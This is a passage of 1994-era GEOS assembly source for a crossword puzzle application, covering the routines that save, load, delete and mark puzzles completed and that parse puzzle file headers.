; Dismiss the Saving Dialog Box from the screen pushf mov bx, handle SavingInteraction ; single-launchable mov si, offset SavingInteraction mov di, mask MF_CALL or mask MF_FIXUP_DS mov cx, IC_DISMISS mov ax, MSG_GEN_GUP_INTERACTION_COMMAND call ObjMessage popf done: .leave ret CFBSaveButton endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBSave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Save the user's solution of the current puzzle to the user document. CALLED BY: MSG_CFB_SAVE PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: CF - set if error occurred ds - updated DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBSave method dynamic CwordFileBoxClass, MSG_CFB_SAVE .enter cmp ds:[di].CFBI_puzzleIsOpen, FALSE je noPuzzleOpen call FileWriteUserDocument ; sets CF finish: .leave ret noPuzzleOpen: clc jmp finish CFBSave endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCheckIfSamePuzzleOpened %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compares the filename in the buffer to the filename in the instance data of the CwordFileBox object. CALLED BY: CFBOk PASS: cx:dx - buffer *ds:si = CwordFileBoxClass object RETURN: CF - set if same puzzle is opened (ie. the two filnames are the same) clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/ 5/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCheckIfSamePuzzleOpened proc near class CwordFileBoxClass uses cx,si,di,es .enter Assert objectPtr dssi, CwordFileBoxClass mov di, ds:[si] ; instance data pointer ; Make ds:si be the name of the puzzle already open lea si, ds:[di].CFBI_sourceFile ; es:di - puzzle name selected mov es, cx mov di, dx clr cx ; compare till NULL terminated call LocalCmpStrings jz found clc finish: .leave ret found: stc jmp finish FileCheckIfSamePuzzleOpened endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBPuzzlesCheckDone %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See message defintion PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object es - segment of CwordFileBoxClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBPuzzlesCheckDone method dynamic CwordFileBoxClass, MSG_CFB_PUZZLES_CHECK_DONE uses cx .enter push si mov bx,handle Board mov si,offset Board mov di,mask MF_FIXUP_DS or mask MF_CALL mov ax,MSG_CWORD_BOARD_CHECK_PUZZLE_COMPLETION_STATUS call ObjMessage pop si cmp cx, PCS_EMPTY je emptyPuzzle cmp cx,PCS_CORRECT je doneQuery ; I figure that some people will fill in an entire puzzle but ; never Check to see if it is done or even bother to change ; the wrong letters to correct ones. So ask them if they ; are done if the whole puzzle is filled in ; cmp cx,PCS_FILLED je doneQuery initiatePuzzles: mov ax,MSG_CFB_PUZZLES_SAVE call ObjCallInstanceNoLock done: .leave ret emptyPuzzle: ; Nuke empty puzzles so that they don't show up as In Progress ; call CFBDisposeOfPuzzle jmp initiatePuzzles doneQuery: mov bx,handle MightBeCompletedInteraction mov si,offset MightBeCompletedInteraction mov ax,MSG_GEN_INTERACTION_INITIATE mov di,mask MF_FIXUP_DS call ObjMessage jmp done CFBPuzzlesCheckDone endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBPuzzlesSave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Save the user's current puzzle solution. Display the puzzle selector box. PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/18/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBPuzzlesSave method dynamic CwordFileBoxClass, MSG_CFB_PUZZLES_SAVE uses ax, cx, dx, bp .enter mov ax,MSG_CFB_PUZZLES call ObjCallInstanceNoLock .leave ret CFBPuzzlesSave endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBPuzzles %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Display the puzzle selector box. CALLED BY: MSG_CFB_PUZZLES PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/18/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBPuzzles method dynamic CwordFileBoxClass, MSG_CFB_PUZZLES uses ax, cx, dx, bp .enter mov ax,MSG_CFFS_SET_DEFAULT_MODE mov di,mask MF_FIXUP_DS call CFBMessageToCwordSelector mov ax,MSG_GEN_INTERACTION_INITIATE call CFBMessageToSelectorInteraction .leave ret CFBPuzzles endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See message definition PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object es - segment of CwordFileBoxClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBDelete method dynamic CwordFileBoxClass, MSG_CFB_DELETE uses dx,cx .enter cmp ds:[di].CFBI_puzzleIsOpen, FALSE je puzzlesBox lea dx,ds:[di].CFBI_sourceFile call FileGetAttributes jc deleteError BitClr cl,FA_RDONLY call FileSetAttributes jc deleteError call FileDelete jc deleteError call CFBDisposeOfPuzzle puzzlesBox: mov ax,MSG_CFB_PUZZLES call ObjCallInstanceNoLock .leave ret deleteError: ; If we can't delete it at least mark it as completed so the ; user won't have to confront it in their puzzle selection box. ; This is especially important for puzzles in rom, which are ; by definition undeletable ; EC < cmp ax,ERROR_FILE_NOT_FOUND EC < ERROR_E CWORD_COULDNT_FIND_SOURCE_FILE_TO_DELETE EC < cmp ax,ERROR_FILE_IN_USE EC < ERROR_E CWORD_COULDNT_DELETE_SOURCE_FILE_BECAUSE_IN_USE mov ax,MSG_CFB_MARK_COMPLETED call ObjCallInstanceNoLock jmp puzzlesBox CFBDelete endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBMarkCompleted %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See message defintion PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object es - segment of CwordFileBoxClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBMarkCompleted method dynamic CwordFileBoxClass, MSG_CFB_MARK_COMPLETED .enter cmp ds:[di].CFBI_puzzleIsOpen, FALSE je puzzlesBox call FileAddCompletedPuzzle call CFBDisposeOfPuzzle puzzlesBox: mov ax,MSG_CFB_PUZZLES call ObjCallInstanceNoLock .leave ret CFBMarkCompleted endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBDisposeOfPuzzle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove the puzzle name in CFBI_sourceName from the UserDoc and clean up engine CALLED BY: CFBDelete CFBMarkComplete PASS: *ds:si - CwordFileBox RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBDisposeOfPuzzle proc near class CwordFileBoxClass uses ax,bx,di,si .enter Assert objectPtr dssi, CwordFileBoxClass mov di,ds:[si] cmp ds:[di].CFBI_puzzleIsOpen, FALSE je done mov ds:[di].CFBI_puzzleIsOpen,FALSE call CFBRemovePuzzleFromMainArray ; tell the Board Module that its Engine Token is now invalid mov bx, handle Board mov si, offset Board mov di, mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_CLEAN_UP call ObjMessage done: .leave ret CFBDisposeOfPuzzle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBRemovePuzzleFromMainArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove puzzle name in CFBI_sourceFile from main array in map block of user doc CALLED BY: CFBDisposeOfPuzzle PASS: *ds:si - CwordFileBox RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBRemovePuzzleFromMainArray proc near uses ax,bx,bp,ds,si,es .enter Assert objectPtr dssi, CwordFileBoxClass call FileOpenUserDocument jc done call FileFindPuzzleInMapBlock EC < tst cx > EC < ERROR_Z CWORD_OPEN_PUZZLE_NOT_IN_USER_DOC NEC < jcxz closeUserDoc > call FileLockMapBlockAndMainArray call FileDeletePuzzleFromMainArray call VMUnlock NEC < closeUserDoc: call VMClose done: .leave ret CFBRemovePuzzleFromMainArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBMessageToSelectorInteraction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a message to SelectorInteraction CALLED BY: UTILITY PASS: ax - message di - MessageFlags cx,dx,bp - message data RETURN: depends on MessageFlags DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/29/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBMessageToSelectorInteraction proc near uses bx,si,di .enter mov bx, handle SelectorInteraction ; single-launchable mov si, offset SelectorInteraction call ObjMessage .leave ret CFBMessageToSelectorInteraction endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBMessageToCwordSelector %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a message to CwordSelector CALLED BY: UTILITY PASS: ax - message di - MessageFlags cx,dx,bp - message data RETURN: depends on MessageFlags DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/29/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBMessageToCwordSelector proc near uses bx,si,di .enter mov bx, handle CwordSelector ; single-launchable mov si, offset CwordSelector call ObjMessage .leave ret CFBMessageToCwordSelector endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileLoadPuzzle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Manage reading the puzzle's source and user solution documents into the Engine Module and notifing the other modules about the new puzzle. CALLED BY: FILE MODULE INTERNAL (CFBOk, CFBLoadLastPuzzlePlayed) PASS: *ds:si = CwordFileBoxClass object RETURN: CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileLoadPuzzle proc near class CwordFileBoxClass bufferHandle local word protocolNum local ProtocolNumber uses ax,bx,cx,dx,di,si,bp,es .enter Assert objectPtr dssi, CwordFileBoxClass call FileOpenSourceDocument ; ax - file handle LONG jc finish mov di, ds:[si] ; instance data ptr mov ds:[di].CFBI_fileHandle, ax ; See if the puzzle selected has a valid protocol number mov bx, ax ; file handle mov ax, FEA_PROTOCOL segmov es, ss lea di, ss:[protocolNum] mov cx, size ProtocolNumber call FileGetHandleExtAttributes LONG jc badProtAttrs cmp ss:[protocolNum].PN_major, SOURCE_PROTOCOL_MAJOR LONG jne badProtAttrs cmp ss:[protocolNum].PN_minor, SOURCE_PROTOCOL_MINOR LONG jne badProtAttrs call FileGetCompressedFileBytes ; ax = compressed bytes ; cx = offset into file ; after initial number ; of compressed bytes LONG jc errAndClose call FileUncompressAndReadToESBX ; es:bx - buffer containing containing file ; contents, beginning with number of header ; bytes ; cx - handle of buffer containing file data LONG jc errAndClose mov ss:[bufferHandle], cx call FileParseHeader ; ah = rows, al = columns ; bx = updated offset jc initErrNoIntro ; User don't like having this box come up, but it may be ; required for our licensing agreement. So it is commented ; out for now. ??? ; call FileDisplayIntro call FileReadSourceDocument ; dx - engine token jc initErr call FileReadUserDocument jc initErr ; Free the buffer containing the source file data mov bx, ss:[bufferHandle] Assert handle bx call MemFree mov di, ds:[si] ; new instance data pointer mov ax, ds:[di].CFBI_engine ; old engine token ; initialize the new puzzle information that needs to be kept mov ds:[di].CFBI_puzzleIsOpen, TRUE mov ds:[di].CFBI_engine, dx ; clean up the old engine data, pass EngineCleanUp the old ; engine token so it knows what to clean up mov dx, ax ; old engine token call EngineCleanUp ; close the source file for the puzzle clr al ; error flags Assert fileHandle ds:[di].CFBI_fileHandle mov bx, ds:[di].CFBI_fileHandle call FileClose jc fileErr call FileSetPuzzleNameInPrimary clc finish: .leave ret badProtAttrs: mov di, PROT_ERR call CwordHandleError jmp errAndClose initErr: ; call FileDismissIntro initErrNoIntro: ; Free the buffer containing the file data mov bx, ss:[bufferHandle] Assert handle bx call MemFree errAndClose: ; close the file clr al mov di, ds:[si] ; instance data ptr Assert fileHandle ds:[di].CFBI_fileHandle mov bx, ds:[di].CFBI_fileHandle call FileClose stc jmp finish fileErr: ; Free the buffer containing the file data mov bx, ss:[bufferHandle] call MemFree ; call FileDismissIntro mov di, FILE_ERR call CwordHandleError jmp finish FileLoadPuzzle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileSetPuzzleNameInPrimary %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the name of the puzzle to the primary's long term moniker. CALLED BY: FileLoadPuzzle PASS: *ds:si - CwordFileBoxClass CFBI_sourceFile is filled in RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileSetPuzzleNameInPrimary proc near class CwordFileBoxClass uses ax,bx,cx,si,di,dx,bp .enter Assert objectPtr dssi,CwordFileBoxClass mov dx,size ReplaceVisMonikerFrame sub sp,dx mov bp,sp mov ax, ds mov ss:[bp].RVMF_source.segment,ax mov ax, ds:[si] ; instance data ptr add ax, offset CFBI_sourceFile mov ss:[bp].RVMF_source.offset, ax mov ss:[bp].RVMF_sourceType, VMST_FPTR mov ss:[bp].RVMF_dataType,VMDT_TEXT clr ss:[bp].RVMF_length ;null terminated mov ss:[bp].RVMF_updateMode, VUM_NOW ;no particular reason ; Use MF_CALL so that the object and its instance data ; don't move before the name is copied out ; mov bx, handle CwordPrimary mov si, offset CwordPrimary mov di, mask MF_FIXUP_DS or mask MF_CALL or mask MF_STACK mov ax, MSG_GEN_PRIMARY_REPLACE_LONG_TERM_MONIKER call ObjMessage add sp, size ReplaceVisMonikerFrame .leave ret FileSetPuzzleNameInPrimary endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetCompressedFileBytes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read the number of compressed bytes in the file that does not include the alternate clues. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: *ds:si - CwordFileBox object RETURN: ax - number of compressed bytes cx - offset into file after initial number of compressed bytes CF - set if error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: offset into file after initial number of compressed bytes = (updated offset) - (original offset) + 1 The addition of 1 is for the C_LINEFEED at the end of the line. The +3 in the size of the buffer is to account for the C_ENTER and C_LINEFEED at the end of a line, that makes two more, the one extra is to see if the number has more than the allowed DIGITS_IN_BYTES. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetCompressedFileBytes proc near class CwordFileBoxClass buffer local (DIGITS_IN_BYTES+3) dup (char) uses bx,dx,si,di,bp,ds,es .enter Assert objectPtr dssi, CwordFileBoxClass mov di, ds:[si] ; instance data pointer Assert fileHandle ds:[di].CFBI_fileHandle mov bx, ds:[di].CFBI_fileHandle ; set the file position to the beginning so that we ; can read the entire file mov al, FILE_POS_START clr cx, dx call FilePos clr al mov cx, DIGITS_IN_BYTES+3 segmov ds, ss, di lea dx, ss:[buffer] ; ds:dx = buffer call FileRead ; ds:dx = filled buffer ; ax destroyed jc fileError ; es:bx will point to the local variable buffer segmov es, ds, ax mov bx, dx mov dh, C_ENTER call StringAsciiConvertToInteger ; ax - num of ; compressed bytes ; bx - updated offset jc finish ; See if the number of bytes is zero tst ax jz sourceErr lea dx, ss:[buffer] sub bx, dx ; updated - original offset inc bx ; updated - original offset + 1 mov cx, bx ; offset into file after initial ; number of compressed bytes cmp cx, DIGITS_IN_BYTES+2 jg tooManyDigits clc finish: .leave ret fileError: mov di, FILE_ERR errOccured: call CwordHandleError jmp finish tooManyDigits: mov di, BYTES_TOO_LARGE_ERR jmp errOccured sourceErr: mov di, SOURCE_ERR jmp errOccured FileGetCompressedFileBytes endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBLoadLastPuzzlePlayed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Display the last puzzle that was played on the screen. This is used when a state file exists when the Cword application starts up. CALLED BY: MSG_CFB_LOAD_LAST_PUZZLE_PLAYED PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: CF - set if error occured, clear otherwise DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBLoadLastPuzzlePlayed method dynamic CwordFileBoxClass, MSG_CFB_LOAD_LAST_PUZZLE_PLAYED uses ax,cx,dx .enter call FileOpenUserDocument ; bx - VM file handle jc finish ; Copy the name of the first puzzle to the Selector Box's ; instance data. ; cx:dx - address to copy filename to mov cx, ds lea dx, ds:[di].CFBI_sourceFile segmov es, ds lea di, ds:[di].CFBI_filePath call FileGetNameAndPathOfFirstPuzzle ; cx:dx - filename jc closeAndInitiatePuzzles clr al call VMClose jc vmErr ; Load the puzzle in CFBI_sourceFile call FileLoadPuzzle finish: pushf GetResourceHandleNS LetsPlayButton, bx mov si, offset LetsPlayButton mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, mask MF_CALL call ObjMessage GetResourceHandleNS OKTipsButton, bx mov si, offset OKTipsButton mov ax, MSG_GEN_SET_USABLE mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, mask MF_CALL call ObjMessage popf .leave ret vmErr: mov di, VM_ERR call CwordHandleError jmp finish closeAndInitiatePuzzles: clr al call VMClose mov ax,MSG_CFB_PUZZLES call ObjCallInstanceNoLock jmp finish CFBLoadLastPuzzlePlayed endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileOpenSourceDocument %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Open the source document for the puzzle named in the instance data: CFBI_sourceFile with path in CFBI_filePath. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: *ds:si = CwordFileBoxClass object RETURN: ax - file handle of source file CF - set if file error occurred DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileOpenSourceDocument proc near class CwordFileBoxClass uses bx,cx,dx,di,si .enter Assert objectPtr dssi, CwordFileBoxClass mov di, ds:[si] ; instance ptr mov bx, ds:[di].CFBI_filePath.GFP_disk ; ds:dx - path specification lea dx, ds:[di].CFBI_filePath.GFP_path call FileSetCurrentPath jc pathErr ; Set up flags for opening the source file. clr al mov al, FE_DENY_WRITE shl offset FAF_EXCLUDE or al, FA_READ_ONLY shl offset FAF_MODE ; Set ds:dx to the filename (from the file selector) lea dx, ds:[di].CFBI_sourceFile call FileOpen ; ax - file handle if successful, ; FileError if unsuccessful jc fileErr clc finish: .leave ret fileErr: mov di, FILE_ERR jmp errOccurred pathErr: mov di, PATH_ERR errOccurred: call CwordHandleError jmp finish FileOpenSourceDocument endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileParseHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Parse the information in the header and set the text in the introduction dialog box. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: *ds:si - CwordFileBox object es:bx - buffer containing header RETURN: ah - rows al - columns bx - updated buffer offset ds - possiby updated object segment CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileParseHeader proc near uses cx,dx,si,bp .enter mov dh, C_ENTER call StringAsciiConvertToInteger ; ax - num of header bytes ; bx - new offset jc finish inc bx ; take care of C_LINEFEED ; dx:bp - pointer to the text string to display mov dx, es mov bp, bx mov cx, ax ; total header length ; fix up offset pointer to point to after the header add bx, ax ; new offset after the header ; info push bx ; new buffer offset mov bx, handle CopyrightText mov si, offset CopyrightText call FileChangeIntroText jc popOneErr mov bx, handle TitleText mov si, offset TitleText call FileChangeIntroText jc popOneErr mov bx, handle AuthorText mov si, offset AuthorText call FileChangeIntroText jc popOneErr mov bx, handle SourceText mov si, offset SourceText call FileChangeIntroText jc popOneErr mov bx, handle RatingText mov si, offset RatingText call FileChangeIntroText jc popOneErr push cx, dx ; total header bytes, buffer segment ; Get the number of rows and columns for the return value mov bx, bp ; buffer offset to beginning ; of grid size mov dh, C_SMALL_X call StringAsciiConvertToInteger ; ax - rows jc popTwoErr push ax ; rows mov dh, C_ENTER call StringAsciiConvertToInteger ; ax - columns pop cx ; rows jc popTwoErr mov ah, cl ; ah - rows, al - columns pop cx, dx ; total header bytes, buffer segment mov bx, handle SizeText mov si, offset SizeText call FileChangeIntroText jc popOneErr pop bx ; new buffer offset clc finish: .leave ret popTwoErr: pop cx, dx jmp finish popOneErr: pop bx jmp finish FileParseHeader endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileChangeIntroText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change the text of a certain category within the Introduction Dialog box. CALLED BY: FILE MODULE INTERNAL (FileParseHeader) PASS: ds - CwordFileBox segment bx - handle of text object si - offset of text object dx:bp - string to display cx - total header length RETURN: bp - offset into string, pointing at beginning of next string ds - possibly updated object segment CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Count the number of characters in the string that's currently pointed at. Replace the text of the given object until a C_ENTER is reached. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 8/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileChangeIntroText proc near uses ax,cx,di,es .enter ; count how many bytes in copyright string ; es:di - the string mov al, C_ENTER mov es, dx mov di, bp repne scasb ; es:di - buffer pointing to char after C_ENTER jnz sourceErr push dx, di ; end of displayed string sub di, bp ; di - number of bytes to display mov cx, di ; number of bytes to display dec cx ; subtract one byte for the C_ENTER jcxz afterText ; if no text, do nothing! mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage afterText: pop dx, bp ; end of displayed string inc bp ; point to after the C_LINEFEED ; ie. the beginning of next string clc finish: .leave ret sourceErr: mov di, 